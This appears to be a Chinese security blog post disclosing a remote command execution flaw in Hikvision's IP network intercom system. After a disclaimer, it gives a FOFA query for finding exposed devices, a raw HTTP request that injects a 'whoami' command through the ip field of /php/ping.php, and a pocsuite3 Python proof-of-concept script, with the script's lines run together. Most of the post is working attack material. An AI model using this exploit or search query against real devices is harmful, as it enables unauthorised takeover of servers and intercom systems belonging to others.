免责声明
文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责
漏洞描述
海康威视IP网络对讲机系统存在远程命令执行漏洞,通过此漏洞攻击者可在服务器上执行任意命令,控制服务器。
fofa语句
icon_hash="-1830859634"
poc加检测
POST /php/ping.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencodedjsondata[type]=666&jsondata[ip]=whoami
poc脚本
脚本使用pocsuite框架
# -*- coding: utf-8 -*-
# 2024/1/1from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptStringclass haikang_php_RCE(POCBase):author = '炼金术师诸葛亮'createDate = '2024-1-1'name = 'haikang-php-RCE'vulType = 'Command Execution'desc = '海康威视网络对讲广播系统远程命令执行漏洞'def _verify(self):result = {}path = "/php/ping.php" # 参数url = self.url + pathheaders={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",'Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','DNT': '1','Connection': 'close','Upgrade-Insecure-Requests': '1',"Content-Type": "application/x-www-form-urlencoded"}data ='jsondata[type]=666&jsondata[ip]=whoami'r = requests.post(url,headers=headers,data=data)print(r.text)# 验证成功输出相关信息if r.status_code == 200 and 'admin' in r.text:result['VerifyInfo'] = {}return self.parse_output(result)register_poc(haikang_php_RCE)
脚本利用